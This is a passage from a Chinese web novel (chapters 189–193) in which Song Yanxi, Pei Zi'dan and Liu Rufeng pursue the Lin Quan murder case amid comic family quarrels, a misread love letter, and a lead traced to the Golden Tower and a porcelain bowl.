柳如风并没有看她:“柳某去与不去,与宋四姑娘无关。还请姑娘让让,莫要挡了柳某的路。” 说罢,柳如风直接从宋娇娇身旁走了过去。 刚走了两步,就听见身后传来一声娇呼。 “哎呀,柳世子,您怎么能撞人呢!” 转头一看,却见宋娇娇已经跪坐在地上,看起来一副潸然欲泣的模样。 跟在柳如风身边的书童见了,眼睛瞪得像铜铃一般:“宋四姑娘,我们家世子可没碰到你啊。你莫要冤枉人。” “若非世子撞到我,我又如何会摔倒?世子,您莫不是,不想负责吧?” 说着,她甚至用袖子掩着脸,嘤嘤哭了起来。 柳如风拧眉:“阿杰,找个人送她回去。” “可是,咱们今日没带人来啊。” 柳如风也是听说了林泉案的凶手已经落网,这才匆匆赶来,直觉告诉他,宋颜夕必定会来了解真相。 所以,他们真的没带多余的随从。 “那就你送她回去。” “不行!” 宋娇娇大声拒绝:“本姑娘好歹也是贵女,怎能让这地位低下的小厮触碰?不知道,柳世子能否亲自宋小女子回府呢?” 说完,宋娇娇还冲柳如风眨了眨眼,吓得柳如风又后退了好几步。 “男女授受不亲。姑娘若是不介意,便再次等候片刻吧。阿杰,你去找几个婆子,务必亲自看着宋四姑娘回到丞相府。” “好的世子,阿杰这就去办。” 阿杰离开之后,柳如风朝宋娇娇拱了拱手:“那,姑娘在此稍后,柳某先行告退。” “柳世子,您该不会让我这娇滴滴的姑娘坐在冰天雪地里等人来吧?万一遇上歹徒......” “姑娘放心,这不远处便是大理寺,没人敢在大理寺门前造次。” 说完这句话之后,柳如风扭头就走,气得宋娇娇直接从地上蹦了起来。 “柳如风,你怎么如此不解风情!!我都这样了,你还不明白我的意思吗?”这一吼,还真让柳如风停下脚步。 第189章:水灵灵地亲上了 不过,却只是一瞬。 很快,他的身影就消失在宋娇娇的视线里。 宋诚是听到宋娇娇的叫喊声才朝这边看过来的。 转头的时候,正好和柳如风对视。 柳如风朝他点了点头,算是打过招呼。随即,便直接进了大理寺。 “娇娇你怎么回事?怎么还和柳世子吵起来了?” 宋诚一路跑到宋娇娇身边,见她身上落了雪,动作麻利地替她掸去。 “二哥,我不开心。” “咋的,那柳如风欺负你了?” “他就是欺负我了,二哥你说,我长得这般如花似玉,他怎么就瞧不上我呢?我都摔倒了,他连扶我一把都不愿意。” 宋诚一听,立刻挽起袖子:“好你个柳如风啊,敢欺负我妹,找死!” 宋诚虽是宋章的儿子,但打小性子跳脱,对于他那个不苟言笑的大哥,他向来敬而远之。 至于那个亲妹妹宋婉儿嘛,一直被当作京中贵女典范培养,也和他玩不到一块去。 反倒是宋娇娇,虽然性子娇纵,却是和他从小玩到大的。是以,在宋家,他与宋娇娇的关系最是要好。 眼下见宋娇娇受了委屈,他也不管其他了,当下就拉着宋娇娇闯到大理寺门前。 “赶紧叫柳如风出来见我。”宋诚气势汹汹地说道。 “走走走,哪里来的疯子,竟敢在大理寺门前叫嚣!” “说谁是疯子呢,睁大你们的狗眼好好看看,本公子是谁!” 其中一个衙役还真盯着他看了几眼,然后,就猛地一拍脑袋:“我当是谁呢?原来是在咱们这蹲过大狱的宋家二公子啊。怎么,上次没关够,还想进去多住几天?” “住什么住?我告诉你们啊,本公子今日是来告状的。” 宋诚将宋娇娇拉到身边,道,“柳如风推倒了我妹妹却不肯负责,我今日就要状告他故意伤人。” 宋娇娇扯了扯他的袖子:“二哥,你说什么呢?柳世子怎么会是这种人呢。” 她是想要和柳如风拉近关系,若是被宋诚这么一闹,柳如风肯定更讨厌她了。 宋诚这大直男哪儿会懂女孩子家的心思,还以为宋娇娇是怕了柳如风。 他拍了拍宋娇娇的手:“娇娇你别怕,今日有二哥在,定要为你讨个公道。” 说完,他又看向衙役:“我可是亲眼看见柳如风进去了,你们若是不让他出来给我妹妹一个交代,本公子今日就赖在这不走了。我看他这锦心公子的名声还要不要了。” 宋诚好歹也又官职在身,况且,又是丞相府的公子,衙役们也不好真的跟他动手,只能进去请示。 进去的时候,裴子耽、宋颜夕、柳如风正在讨论案情。 听了衙役的说辞之后,柳如风下意识看向宋颜夕。 她,该不会对他产生什么误解吧? “贾姑娘,其实我......” “柳世子不必解释,我懂,我都懂的。” 宋家那俩货的性子她再清楚不过,此番,定是讹上柳如风这冤大头了。 “我大理寺毕竟是庄严之地,宋公子这般胡闹着实不妥。柳世子,不如,我请他们进来,你们把这事了结一下?”裴子耽开口说道。 柳如风沉思片刻,最终点了点头:“如此也好,这样会不会给裴少卿添麻烦?” 裴子耽嘴角都要咧到耳后了:“不打紧不打紧。” 案子什么时候都能破,但柳如风的笑话,一年可见不到一次啊。 说完,他看向宋颜夕:“贾姑娘,要不,先回避一下?” 他自是看出宋颜夕不想让柳如风知道她宋家千金的身份,是以,直接让人将宋颜夕带到了后堂。 宋诚带着宋娇娇进来的时候,宋颜夕就在后堂听着这边的动静。 “听说,宋二公子要状告在下?不知柳某犯了什么罪?” 柳如风先发制人,语气还是一贯的云淡风轻,但熟悉他的人都知道,他的眉眼中已经藏着厉色。 “自然是状告你故意伤人,还,拒不负责了。” 他将宋娇娇拉到柳如风面前,厉声说道:“就算你是侯府世子,推了人,也得道歉吧。” “哦?” 柳如风将视线转到宋娇娇身上:“那柳某请问宋四姑娘,我当真推了你吗?” “自然是,没,没有。” 这是柳如风第一次正眼瞧她,宋娇娇紧张得脸色通红,差点儿呼吸不过来。 “宋二公子,你都听到了。柳某并未伤人。” 宋诚恨铁不成钢地拍了拍宋娇娇的肩膀:“你说说你,平日里不是胆子大得很吗?他柳如风就是个文弱书生,你怕他作甚?” 说完,他把宋娇娇护在身后:“柳如风,你少在这吓唬我妹妹,我告诉你啊,你今日若是不给我一个说法,此事没完。” “是啊柳世子,我看这宋四姑娘倒真像受了惊吓,不如,你就好好给人家道个歉,这事就算是过去了。”裴子耽在一旁添油加醋,“否则,此事若是闹大了,怕是对你们安远侯府的名声不利。” “裴少卿这话说得在理,柳如风,你呢,必须诚心向我妹妹道歉,然后啊,再赔些好玩的物件给我妹妹,直到我妹妹消气为止。” 宋颜夕在后面听着,都忍不住要笑出声来。 这兄妹俩,搁这讹人呢。 柳如风这冤大头,碰上这哥俩也是倒霉。 “若柳某拒绝呢?” “拒绝?那咱们就走着瞧。你信不信,过了今日,全京城都会知道你安远侯世子欺行霸市,仗势欺人,当街打骂我相府千金的恶事。” 裴子耽憋着笑:“不就是道个歉的事吗?柳世子啊,今日本官就为你们做个见证,你呢,诚心向宋四姑娘道个歉,此事便算了了。至于后续的赔偿事宜,你们可以私底下再商量嘛。” “裴少卿也觉得此事是我做的?”柳如风扫了裴子耽一眼。 他若道歉,岂不是承认宋诚说的都是真的了?那贾姑娘会如何看待他? 这锅,他万万不能背。 “这本官如何知晓呢?但你们各执一词,本官也很难判断。柳世子啊,你毕竟是男人,让一让人家小姑娘,也无伤大雅吧。” 裴子耽自然知道柳如风不是敢做不敢认的人,但是,能看柳如风吃瘪,他开心啊。 “既然宋二公子一口咬定是本世子推了四姑娘,不如拿出证据吧。” “你还跟我要证据?好,娇娇你来说,他是用哪只手推的你?老子现在就剁了他的爪子。” 说完,他“噌”地一下拔出腰间的匕首朝柳如风砍去。 宋娇娇:“二哥不可!” 裴子耽笑意凝固:“你小子,来真的啊!” 宋娇娇去拉宋诚,裴子耽一脚踹开柳如风。还有一旁的衙役,也是赶紧上前拉架。 慌乱之际,不知是谁撞了谁。 总之,就是所有人都倒下了。 “波~” 宋颜夕透过缝隙往外看,却在见到那一幕的时候,忍不住笑弯了眉眼。 宋诚和裴子耽,就这样水灵灵地亲上了? 第190章:你敢威胁我? “宋诚,你找死啊!” 裴子耽一把推开压在身上的宋诚,起身的时候,身子还晃了两下。 宋诚也是一脸菜色,指着裴子耽半天说不出话来。 反倒是一旁的宋娇娇迅速跑到柳如风面前,小心翼翼地像要去搀扶他:“柳世子,您没摔伤吧?” “不劳宋四姑娘,柳某自己能起来。” 大概是大病初遇,摔了一跤之后,柳如风的脸色有些差。 宋娇娇感受到他的疏离,脸色顿时一阵红一阵白。扭着衣角站在那儿泪眼汪汪地看着柳如风。 “柳如风,我妹妹肯扶你,那是你的福气。你别给脸不要脸啊。” 眼见宋诚又要叫嚣着冲上去,裴子耽赶紧拉住他。 “差不多得了啊宋诚,真当我大理寺是你们家后院呢?” 虽然他不待见柳如风,但以柳如风目前的身体状况,要是真在他的地盘出什么事,定会给他惹来很多麻烦。 说完,他立刻叫人将宋诚和宋娇娇请了出去。 “柳世子,你没事吧?” 宋颜夕从后堂走出来,朝柳如风眨了眨眼:“可要本神医替你诊脉?” “那就劳烦姑娘了。” “不行!” 柳如风和裴子耽同时开口。 “男女授受不亲,我看柳世子也没这么较弱,咱们还是赶紧讨论案情吧。” 裴子耽积极捍卫南宫景的地位,坚决不让柳如风靠近宋颜夕一点。 柳如风见此,只能摆了摆手:“柳某无碍,多谢姑娘挂怀。” 被宋诚闹了这么一出,三个人之间的气氛倒是缓和不少。讨论案子的时候,思路都清晰了。 “姑娘怀疑杀死林泉的凶手另有其人?” “没错。而且,我总觉得这件案子只是阴谋的开始,或许,那人还憋着大招呢。恐怕,三日后的请神,会有大事发生。” “依姑娘所见,会是何人所为?” 宋颜夕摇了摇头:“我只是个手无缚鸡之力的弱女子,哪儿知道这些啊。” 说完,她看向裴子耽:“这方面,裴少卿应当经验丰富。” 裴子耽扬了扬下巴:“那是自然。此事交给我来查,最合适不过。至于柳世子你,还是回家养病吧。” 柳如风:...... “至于贾姑娘,本官还有些细节想要请教你,劳烦你再留一下。” 柳如风看向裴子耽,这家伙如此急着赶他走,到底想干什么? 莫非,他与贾姑娘之间,还有他不知道的关系? 柳如风离开之后,裴子耽低声对宋颜夕说道:“宋二姑娘,您还是离那姓柳的远一些吧。王爷若是知道你们走得近,会不开心的。” “他开不开心,与我有什么关系?” “怎么能没有关系呢?您可是咱们王爷内定的王妃啊。” 宋颜夕差点一口水咳上来:“谁是你们王妃了?” 就凭那死贱男也想娶她?没门。 虽然这段时间的相处,她对南宫景有了一些改观,但过去的事摆在那里,她仍然不喜南宫景。 裴子耽了然。 宋姑娘这是害羞了。 “虽然现在还不是,但,早晚都是嘛。对了宋二姑娘,下官这儿有一封王爷的信,王爷指明,一定要亲手叫到姑娘手中。” “给我的信?” 宋颜夕疑惑,那狗男人不是去查屠龙会的事了吗?怎么还有心思给她写信? “姑娘不妨把信带回去慢慢看!” 裴子耽笑得一脸荡漾。 宋颜夕疑惑着把那封信塞到怀里,在裴子耽的注目礼中离开了大理寺。 刚出门,就再次被拦住去路。 “怎么又是你们?” 那俩货不是宋娇娇和宋诚又是谁? “宋彩衣,老实交代,你到底来大理寺干什么?”宋娇娇叉腰质问。 “我来干什么,没必要向你们交代吧?” 宋颜夕擦着他们走了过去,摆明是不想搭理他们。 然而这俩货却不打算就这样放过她,宋娇娇一个眼神,宋诚就把宋颜夕拦住。 “这么急着走,是心虚了吧?” “二公子,四姑娘,你们若是再不让开,就别怪我动武了。”春分挺身而出。 “在我面前动武?我告诉你们啊,本公子被你偷袭一次,可不会再被你偷袭第二次。今日你要是不交代清楚,就休想回去。” 宋诚也是有些武功底子的,当下就和春分打了起来。 宋娇娇见状,立刻伸手去拉宋颜夕。 宋颜夕与她推搡之间,那封信掉在地上。 “这是什么?” 宋颜夕想要去捡,但却被宋诚抢先一步。 “把信还我!” 见宋颜夕动手抢夺,宋诚赶紧将信塞到宋娇娇手中。 宋娇娇迅速拆开信封,见到上面的内容时,眼中闪过讽刺之意:“好啊宋彩衣,你果然是来和野男人私会。” “什么野男人,什么私会?宋娇娇,你不要血口喷人。” “还狡辩呢?证据就在这。要不要我把这信上的内容念给你听啊。” “卿卿如晤:夜巡遇疾雨,见一女子提灯引路,背影与卿有三分相似,不由得想起那日月下共舞,姑娘舞姿婉若游龙......分离数日,思卿,念卿,盼早日与卿相见,你我共赴梅山,品雪煮茶......” 宋娇娇朗声读着那封信,不仅仅是宋颜夕,就连宋诚都震惊得差点掉了下巴。 “宋彩衣,你还真是不知羞耻啊。说,那个野男人是谁?” 此刻的宋颜夕恨不得挖条地缝钻进去。好一个南宫景啊,没事给她写这些破玩意做什么? 难道,是故意给她使绊子? 越想越觉得很有这个可能,宋颜夕在心底狠狠问候了南宫景的祖宗。 远在北顾山的南宫景打了好几个喷嚏。 “王爷可是受了风寒?”跟在一旁的左翼问道。 南宫景摆了摆手:“无碍。” 他看向窗外的飘雪,不动声色地勾了勾嘴角: 【前些日子得一风流公子指点,给那丫头写了信,想必丫头已经收到信了。此刻,她怕是也想着我呢。等此件事了,我定与她表明心迹。】 宋颜夕可不知道他的想法,一怒之下,直接抢过那封信撕了个粉碎。 “这不是我的东西,肯定是拿错了。” “你狡辩也没有用。宋彩衣,我这就去告诉大伯母,你做出这等伤风败俗之事,就等着浸猪笼吧!” “你说我伤风败俗?宋娇娇啊宋娇娇,难道你忘了,你是如何在柳世子面前搔首弄姿的吗?” 此话一出,宋娇娇脸上的得意之色尽散:“你胡说什么?我何时与柳世子......” “四妹妹爱慕柳世子,当街表白的事,该不会以为我不知道吧?哦,还有方才在大理寺,你们可是闹了一出好戏呢。若是我将此事告知母亲和三婶,不知道四妹妹会不会也被抓去浸猪笼呢?” “宋彩衣,你敢威胁我?二哥,动手!” 眼看又要打起来,身后却忽然响起一道熟悉的声音。 “你是,宋二姑娘?” 宋颜夕下意识转头,看到那人的时候,脑门上的青筋突突直跳。 “你怎么又回来了?” 第191章:你说我与人私通? 柳如风去而复返是所有人都没有想到的。 宋娇娇见了柳如风,立刻收起那张牙舞爪的样子,乖巧地站在那儿试图挽回形象。 然而柳如风却丝毫没看宋娇娇一眼,目光径直落在宋颜夕身上。 “你当真是,宋家二姑娘,宋彩衣?”柳如风又问了一句。 宋颜夕还没开口,宋娇娇就挤到她面前,抢先一步说道:“没错,她就是宋彩衣那个扫把星。世子,您也看到了吧,她就是个惹祸精,言行粗鄙得很。不仅如此,她还和野男人暗通款曲呢。” “二姑娘,你说谁言行粗鄙呢?方才,可是你们先找茬的,而且那封信也不是我们姑娘的,说不准,就是你们栽赃陷害。”一听宋娇娇说宋颜夕的坏话,春分满脸不服气。 宋颜夕朝春分竖起大拇指:脑袋转得挺快啊。 柳如风像是没听到宋娇娇的那些话一般,此时此刻,他只想知道一件事:“若你是宋二姑娘,那当初为何让我......” 宋颜夕见他要说出退婚的真相,赶紧抓住他的手腕:“此事,咱们私下交流,如何?” “宋彩衣,你干什么呢?勾搭野男人不够,竟然还敢染指柳世子?” 宋颜夕扫了她一眼“收起你那龌龊的心思,我们这是正常交流。” 柳如风顺势往前一指:“柳某的马车就停在前面,不如,请宋二姑娘到车里一叙?” “没问题。走吧!” 宋颜夕率先朝前走,柳如风立刻跟上。 宋娇娇气得跺脚,想要跟上去的时候,正好碰到柳如风的书童阿杰带着几个婆子匆匆赶来。 “呀,宋四姑娘的腿受了伤,可不能这般胡蹦乱跳。还劳烦几位婶子将四姑娘抬回相府,我也好向我们家世子交代。” “谁要他们抬了?赶紧给我让开。” 宋娇娇试图扒开那些人,然而当她从人群中冲出来的时候,眼前早就没了柳如风和宋颜夕的身影。 马车上,宋颜夕和柳如风四目相对。 “宋二姑娘,想与我说什么?”哪怕发现自己被骗,柳如风的声音依旧是那般如沐春风,让人听不出什么情绪。 宋颜夕轻咳一声:“关于我替世子治病之事,还希望世子能够保守秘密。” 柳如风不解:“姑娘医术精湛,为何藏拙?” “世子也是高门大户出身,必然知道这将相侯府之中多的是勾心斗角之事,我这么做,必然有我的理由。” “既然姑娘不愿多说,柳某自然不会再问。但是姑娘,你当初为何决心与侯府接触婚约?” 起初,他误以为宋颜夕心悦于他,如今看来,是他自作多情了。 “世子应该知道,这桩婚事原本便不是为我定的。” “姑娘是嫌弃柳某身子不好吗?也对,没有哪个姑娘愿意嫁给一个将死之人。” “你认为,我会在意这个?”宋颜夕反问:“别忘了,世子如今能安然出现在此,是谁的功劳。” 柳如风笑了笑:“是我狭隘了。既然姑娘将话都说开了,柳某在此答应姑娘,你我之间的那个约定,不会再有第三人知晓。” “如此甚好。” 宋颜夕掀开车帘跳了下去:“时候不早了,我也该回去了,柳世子,再会。” 宋颜夕离开之后,阿杰来到车前:“世子,您看什么呢?” “一个有趣的人。” 柳如风看着宋颜夕离开的方向,眸光里闪过浅浅的笑意:“她跟我说再会,是在与我约下次见面吧?” 阿杰挠了挠头:“这难道不是客套话吗 ?” 回到相府之后,宋娇娇就将那封信的内容添油加醋地跟姜淑萍说了。 姜淑萍听说之后,第一时间将宋颜夕叫到跟前。 宋颜夕抵达的时候,宋娇娇和宋诚都在,除此之外,还有看热闹的宋婉儿。 “彩儿啊,娇娇说的不是真的吧?” 宋颜夕点头:“自然不是真的。难道在母亲心里,彩儿就是这般不知规矩的人吗?” “母亲自然是相信彩儿的。只是人言可畏,此事啊,还需你亲自解释一番。” 宋颜夕抬头看向对面的宋娇娇:“人言可畏?只要四妹和二哥不将此事说出去,谁又知道呢?” “哼,若要人不知,除非己莫为。二姐,我能看到那封信,指不定别人也能看到呢?你与那野男人之间的书信往来,只怕不止这一封吧?” “我说过,那不是我的信。那信上,可有署名?” 宋娇娇轻哼一声:“虽然没有署名,但那封信可是从你身上掉下来的,若不是你的东西,怎么会出现在你身上?” “谁能证明这是从我身上掉下来的?” 宋颜夕看向宋诚:“二哥可看见了?” 宋诚当时正在和春分缠斗,并没有看见全过程,但他还是斩钉截铁地说道:“当时只有你和娇娇,不是从你身上掉下来的,难道还凭空出现不成?” “二哥也说了,当时只有我和四妹二人,你们怎么不怀疑这封信是四妹的呢?” “你胡说什么?娇娇向来矜持有礼,怎么可能......” “矜持有礼?二哥确定你形容的是四妹吗?你们可别忘了,在大理寺,你与四妹还联手讹诈柳世子呢。” 听到宋颜夕提起柳如风,一旁的宋婉儿眼睛一亮:“此事怎么还扯上世子了?” “大姐姐还不知道吧?四妹妹啊,爱慕柳世子,就在方才,还想强逼世子对她负责呢?那阵仗闹的,可是连裴少卿都招架不住。” “你说什么?” 宋婉儿立刻冲到宋娇娇面前:“你竟然,爱慕柳世子?” 宋娇娇赶紧摆手:“大姐姐你别听她瞎说,我怎么可能与你抢世子呢?只有大姐姐你才配得上世子。” 宋婉儿这才收起脸上的戾气。 倒是姜淑萍的脸色十分不好,真是没想到,都过去这么久了,婉儿还是没放弃对柳如风的执念。 “你们几个,不好好待在府里,跑大理寺去做什么?那是你们能去的地方吗?”姜淑萍的声音有些沉。 “还不都是二姐,我们便是怀疑她,才偷偷跟上去的。对啊二姐,方才我们在大理寺可没见着你,莫非,你那个时候就已经和野男人私会了?该不会,是大理寺的一个小衙役吧?” 宋娇娇有些幸灾乐祸:“说起来,以二姐的出身,配一个小衙役也算高攀了。” “娇娇,闭嘴!”姜淑萍低声呵斥,“彩儿毕竟是你二姐,怎么能如此挤兑她?” “我说的都是事实。母亲若是不信,不如请二姐解释一下,她进入大理寺之后都去了哪里?” 宋颜夕却忽然笑了:“四妹妹的脑子果真不好使,我既然知晓堂上发生的一切,你说,我当时在哪里?” “可我们当时根本就没有看见......” 说到这儿,宋娇娇声音一顿,“莫非,你当时就在后堂?难道,你的姘头是......” 话还没说完,忽听门房来报,大理寺少卿裴子耽求见宋颜夕。 宋颜夕眯眼,裴子耽特地来找她,可是那件案子有眉目了? 第192章:追查到黄金楼 “好啊宋彩衣,你竟然连裴少卿也勾搭上了,你还要不要脸啊。” 裴子耽走进来的时候,正好听见这句话。 他脚下一个踉跄:“宋四姑娘,你这污蔑人的毛病什么时候能改一改?” “裴少卿,你这话说的可就不对了,本姑娘何时污蔑你们了?你敢说,你与宋彩衣在大理寺没有行不轨之事?” 姜淑萍瞪了宋娇娇一眼:“娇娇,不得对裴少卿无礼。” “大伯母,我说的都是真的。我这有证据。” 说完,她直接从袖子里掏出几片被撕碎的纸。 “只要将这信上的字迹与裴少卿对比,不就能知道这封信是不是少卿写的了吗?” 见到那封信的时候,裴子耽脸色顿时沉了下来:“这信是被你撕的?你怎么敢的?” 这可是王爷亲笔写给宋二姑娘的,还特地叮嘱他一定要亲手交给宋二姑娘。如今信件被撕碎,他该怎么向王爷交代啊? 最可怕的是,若是让王爷听到这番言论,指不定要怎么弄死他呢? 便是给他一百个胆子,他也不敢肖想王爷的女人啊。 “怎么,裴少卿这便生气了?还说这信不是你写的?” 宋娇娇有些得意。 与男子私通可是犯了大忌。 这一次,她倒要看看宋颜夕还怎么逃脱惩罚。 姜淑萍也在观察着裴子耽的表情:看他的反应,难道,这当真是他写给那死丫头的情信? 她不动声色地勾了勾嘴角,若是能坐实此事,她便能堂而皇之地除去这个小贱人了。 “什么乱七八糟的。” 裴子耽甩了甩衣袖:“我与宋二姑娘清清白白,此番请她到大理寺,是有关于案子的问题要向二姑酿请教。至于那封信,是物证。” “物证?” 除了宋颜夕之外的所有人都愣住。 “没错,想必你们也知道林家公子遇害之事。本官听闻林公子与宋二姑娘曾经谈婚论嫁,这才请二姑娘到大理寺一叙。不曾想,姑娘错将这证物带出,本官今日来贵府,便是想取回证物。谁曾想,竟然被四姑娘你,撕毁了。你可知,损毁物证,是要押入天牢待审的。” 听了裴子耽的话,宋娇娇的脸色顿时有些难看:“这,这就是一封情信,怎么可能是物证嘛。而且,这信也不是我撕的。” 宋娇娇指向宋颜夕:“是她,信是她撕的。破坏物证的是她宋彩衣,你要抓,就抓她。” “她说的都是真的?”裴子耽看向宋颜夕。 宋颜夕扬了扬下巴:“是我撕的又如何?宋娇娇如此构陷我,我气不过,这才不小心撕了物证。少卿若是要责罚,就把我带走好了。” “裴少卿啊,这都是女儿家的打闹。而且我们彩儿也不是故意毁坏物证的,你就大人有大量,别跟彩儿一般计较了。”姜淑萍还在维持好母亲的人设。 裴子耽却不买她的账,直接下达命令:“既然宋二姑娘已经承认是你毁坏物证,那便随本官走一趟吧。” “走就走,本姑娘还怕你不成?我告诉你啊裴少卿,战王可是我小舅舅呢,你要是敢对本姑娘动刑,我小舅舅是不会放过你的。” 虽然知道宋颜夕是故意这么说的,但从她嘴里听到小舅舅三个字,裴子耽走到门口的时候还是被门槛绊了一下。 “竟然拿战王威胁裴少卿?宋彩衣,你还要不要脸了?你毁坏物证,便是战王在此,也必定不会袒护你。” 宋娇娇在背后叫嚣,宋颜夕却充耳不闻。大步流星地离开了。 “我的姑奶奶诶,那封信你真撕了?” 离开丞相府之后,裴子耽舔着笑,小心翼翼地问道。 “撕了。”宋颜夕脸上却是没什么表情,仿佛只是在陈述一个客观事实。 “那可是王爷亲手给你写的,你就这么撕了?若是王爷知道了......” “知道就知道,他写那种信恶心我,我还撕不得了?” “啊?” 裴子耽一脸懵逼:“姑娘这话何意?王爷怎么会?” 他自然是不知道信上的内容,不过,却也大概能猜到南宫景对宋颜夕的心思。 最为顶级迷弟,他绝对不会在这种事情上看走眼。 他们家王爷,摆明就是十分喜欢这位宋二姑娘嘛。 “不说这个了,少卿来找我,所为何事?” “哦,是这样的。你们刚走,我这边就得到了一个重要线索。下官想着姑娘对此案上心,便亲自将这线索告知姑娘。” 只是没想到,他才刚到相府,就听见宋娇娇在攀咬他和宋颜夕。 “什么线索?” “下官查到,林府的管家在一个月前曾经和黄金楼的人接触过。” “又是黄金楼?” 宋颜夕摸了摸下巴:“难道,此事的幕后主使,是白无双?” “走,咱们去会一会这位白无双。” 裴子耽:“现在?” “就是现在。” 想了想,她又说道:“不过,去之前,咱们得做些伪装。” 他们先去大理寺换了衣裳,然后,从后门溜了出去。 白无双似乎早就猜到他们回来找他,当他们踏进黄金楼的时候,就被请到了贵宾室。 “又见面了,宋二姑娘。” 白无双冲宋颜夕笑得一脸无害,还露出两颗虎牙。 裴子耽立刻挡在他们中间:“白无双,你还真是不安分啊。说,林泉是不是你杀的。” “裴少卿这可就冤枉我了,我与林公子无冤无仇,杀他作甚?若我的消息无误的话,杀死他的人,其实是林府的管家吧?” 宋颜夕:“白公子的消息好灵通啊,这个讯息,大理寺还没有对外公布吧?” “在这上京城开门做生意嘛,总要有些手段的。不过是花钱买消息而已,不犯法吧!” 裴子耽冷笑一声:“本官可是查到,你的人曾经接触过林府管家。你还敢说不是你指使的?” “这个,大人可就误会我了。林尚书有些货物寄存在我黄金楼售卖,一直都是林管家与我们接洽。这一点,林尚书也是知晓的。你们若是不信,大可去询问林尚书。” 一番对峙下来,白无双的回答滴水不漏,裴子耽竟然拿他没辙。 “林尚书售卖何物?”这话,是宋颜夕问的。 “也就是一些古董器物。你们知道的,那些东西,见不得光。所以啊,黄金楼与林府都是暗中往来,想必也正是因为如此,才让裴少卿误会了。” 说完之后,白无双还命人拿来账本,那上面清清楚楚地记录着林举鹏与黄金楼的每一笔交易。 “这个林尚书,瞧着两袖清风的,没想到竟然在背地里敛财?”裴子耽眼中闪过不屑之色。 宋颜夕忽然生出一个想法:“你们说,林府的祸端,会不会与这批古董有关?” “不可能吧?林尚书与黄金楼做生意也不是一天两天了,一直相安无事。” “那有没有可能,是最近一批货出了问题呢?” 宋颜夕看向白无双:“你是否还有事情瞒着我们?” 第193章:你为什么讨厌他 “宋二姑娘果然聪慧。” 白无双合上账本:“林尚书的确还与我们约定了一桩买卖,我们原本约定明日交易。如今这个情况,这交易怕是不成了。” “你可知,他要出手的,是何物?” 白无双摇头:“这个,得等他把货物交给我们才知晓。” “走,我们去尚书府探一探。” 宋颜夕和裴子耽转身就走。 白无双却拦在他们面前:“裴少卿来都来了,不如留下来用膳?” 话虽是对裴子耽说的,白无双的目光却一直停留在宋颜夕身上。 “我大理寺是没饭吃吗?谁要在你这破楼用膳?走走走,赶紧让开。” 除了在南宫景面前装乖巧,裴子耽在其他人面前几乎是全方位释放天性的。 他不喜白无双,便是因为他觉得白无双这人令人看不透。 最重要的是,这个男人,似乎对宋颜夕很有兴趣。 【王爷放心,属下会誓死捍卫你的幸福的。】 裴子耽握紧拳头,将白无双往后推了推:“如有必要,本官会召你来大理寺配合调查。现在,离我远点。” “裴少卿似乎很讨厌我?为何?”白无双一脸无辜,“少卿别忘了,我与战王可还是合作伙伴呢。” “你看敢在我面前提王爷?说,你到底威胁我们王爷什么了?” “什么威胁?我们不过是各取所需而已。裴少卿,你对我有偏见。” “就是对你有偏见,怎么了?我告诉你啊,你最好是遵纪守法,若是让我抓到错处,大理寺的刑房可等着你呢。” 放了狠话之后,裴子耽对宋颜夕做了个请的姿势:“宋二姑娘,咱们走。” 宋颜夕懒得理会这两个男人之间的争斗,率先朝门口走去。 他们离开之后,白无双拍了拍手,立刻有一个黑衣人出现在屋子里。 “跟上他们。”白无双对那黑衣人说道。 “是!” ...... “姑娘不方便出面。林尚书那边,便交给下官处理,如何?” 因为宋颜夕只是换了衣裳并未易容,出了黄金楼,裴子耽提出先将宋颜夕送回大理寺。 宋颜夕却摇头:“一会儿,我便扮作少卿的手下,少卿不用顾及我。该做什么便去做。” 裴子耽无法拒绝,只能带着宋颜夕一同来到尚书府。 灵堂上,林举鹏面色凄哀,见到裴子耽,也只是问了一句:“杀害我儿的凶手已经落网,裴少卿还来此作甚?” “自然是有些疑问想要向尚书问个明白。” 裴子耽朝林举鹏使了个眼色,林举鹏便让旁边的小厮都退下了。 当堂上只剩下他们三人的时候,裴子耽才将黄金楼的账簿递到林举鹏面前:“林尚书这两年,生意做的不错啊。” 看到账簿的时候,林举鹏脸色一变:“这个账簿怎么会在你手里?” “我大理寺办案,自然有的是法子。林尚书该不会以为自己做得滴水不漏吧?” 林举鹏脸色一沉:“所以,裴少卿今日是要捉拿本官?” “这个不急。” 裴子耽看了一眼堂上的棺材:“今日,本官是来查林公子遇害一案的。想必尚书也看出来了,那凶手的目标不仅仅是林公子,还有尚书你。你们家的管家品行如何?能想出这绝妙的连环计吗?” “你的意思是,有人指使他?” “不如尚书好好想想,到底是在什么时候得罪了人。又或者,挡了什么人的路。” “挡了别人的路?莫非,是因为那样东西?” “林尚书可是想起什么了?” “你们,跟我来。” 林举鹏带着他们来到一处暗室,最后,从一个匣子里取出了一个黑瓷碗。 “这瓷片,有些眼熟啊。” 宋颜夕很快就想到,这瓷片,正是李梦安当初失踪被找回来之后手里握着的那片。 后来,她曾经查过这个瓷片。但并没有查出关于这瓷片的线索。 “林尚书是在何处得来的瓷碗?” “就在东郊的一个废弃矿洞里。当时,本官也是无意间路过那儿,因为暴雨掉入洞中,这瓷碗便是从那儿得来的。” “废弃矿洞?你在那个地方有没有发现其他东西,或者,看见什么人?” “这个倒是不曾。莫非,这瓷碗还大有来头不成?” 林举鹏不知想到什么,也顾不得其他了,直接朝裴子耽行了个礼:“还请裴少卿尽快查到真凶,还我儿一个公道。” “这是本官的分内之事,林尚书便是不说,我也会查。若林尚书所言不假,那贼人定然还会对你出手,林尚书,还得尽早做打算才行。” “本官知道怎么做了,多谢裴少卿提醒。” 他将那瓷碗递到裴子耽面前:“既然此物如此重要,还是交给裴少卿保管才是。” 大理寺: “姑娘看出什么端倪了吗?” 裴子耽站在宋颜夕身后,见她看那瓷碗看得认真,终于问了一句。 宋颜夕:“除了有些年份之外,倒也瞧不出什么。对了,先前李梦安手里也拽了一块,据说是交到柳世子手上了,或许,他那边能查到什么。” “柳如风?” 裴子耽轻哼一声:“那个书呆子,惯会装模作样,能查出什么?” “裴少卿,你似乎很讨厌柳世子。你们直接到底有什么过节?” “我跟他之间的过节,大了去了。” 听了裴子耽的叙述之后,宋颜夕忍不住扶额:“所以,你跟柳如风其实是从小一起长大的玩伴?但因为柳如风处处压你一头,而且,你父母时常在你面前说你不如他,你便恨上他了?” 